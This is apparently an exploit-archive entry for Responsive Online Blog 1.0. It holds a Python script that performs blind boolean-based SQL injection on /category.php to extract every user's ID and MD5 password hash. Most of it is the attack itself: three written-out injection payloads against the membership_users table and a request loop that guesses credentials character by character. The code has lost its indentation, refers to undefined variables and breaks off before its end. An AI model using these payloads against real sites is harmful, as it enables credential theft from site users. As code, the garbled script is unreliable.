Responsive Online Blog 1.0 SQL Injection

Responsive Online Blog version 1.0 remote blind boolean-based SQL injection exploit that retrieves usernames and md5 hashes for all site users. Original discovery of the vulnerability is attributed to Eren Simsek.

MD5 | f0e1c219d5c088f1ba3a1809302ce7ef

# Exploit Title: Responsive Online Blog 1.0 - Blind Boolean-based SQLi  
# Date: 2022-04-16
# Exploit Author: Gideon Kamioka (@w1ezl)
# Vendor Homepage:
# Software Link:
# Version: v1.0
# Tested on: XAMPP Linux/7.4.7

# Vulnerability: An attacker can perform a blind boolean-based SQL injection attack,
# which can provide attackers with access to the username and md5 hash of all site users.
# Vulnerable file: /category.php

# Usage: python3 http://localhost/blog/category.php

# Proof of Concept:


import sys,requests,re

def cred_Length(ip,p,max):
f = requests.get(ip, params=f'id={p.replace("[i]",str(125))}', verify=False)

for k in reversed(range(1,max)):
r = requests.get(ip, params=f'id={p.replace("[i]",str(k))}', verify=False)
if (len(r.text) != failLen):
return k
return None

def search_Credentials(ip, p):
f = requests.get(ip, params=f'id={p.replace("[CHAR]",str(125))}', verify=False)

for k in charlist:
r = requests.get(ip, params=f'id={p.replace("[CHAR]",str(ord(k)))}', verify=False)
if (len(r.text) != failLen):
return ord(k)
return None

def logo():
art = R'''
░░░░ ░░░░
░░░░░░░░ ░░░░░░░░
░░░░░░░░ ░░░░░░░░
info = "\033[0;34mResponsive Online Blog 1.0 /category.php\033[0m -\n Boolean based Blind Credential Extractor"
credits = 'Created by \033[1;35m@w1ezl\033[0m'.center(80)
warning= "\033[3mThis script could take up to \033[1;31;103m10 minuites\033[0m\033[3m to extract a single credential.\nGo get cofee and chill or something.\033[0m"

def main():

if len(sys.argv) != 2:
print(f"(+) Usage python3 {sys.argv[0]} <target>")
print(f"(+) Eg: python3 {sys.argv[0]} http://localhost/blog/category.php")

target = sys.argv[1]
payloadA = "1'AND+(SELECT+count(*)+FROM+membership_users)=[i]--+-"
payloadB = "1'AND+length(substring((SELECT+CONCAT(memberID,':',passMD5)+FROM+membership_users+LIMIT+1+OFFSET+[o]),1,60))=[i]--+-"
payloadC = "1'AND+ascii(substring((SELECT+CONCAT(memberID,':',passMD5)+FROM+membership_users+LIMIT+1+OFFSET+[o]),[i],1))=[CHAR]--+-"
print("(+) Starting Exploit:")

n = cred_Length(target, payloadA, 30)

if n is None:
print("(+) No creds Found:")
print("(+) exiting...")
print(f"(+) {n-1} creds Found:")

for i in range(0,n-1):
b = payloadB.replace("[o]",str(i))
credLen = cred_Length(target, b, 60)

for j in range (1, credLen+1):
p = payloadC.replace("[i]",str(j))
c = p.replace("[o]",str(i))
sys.stdout.write(chr(search_Credentials(target, c)))

if __name__ == '__main__':

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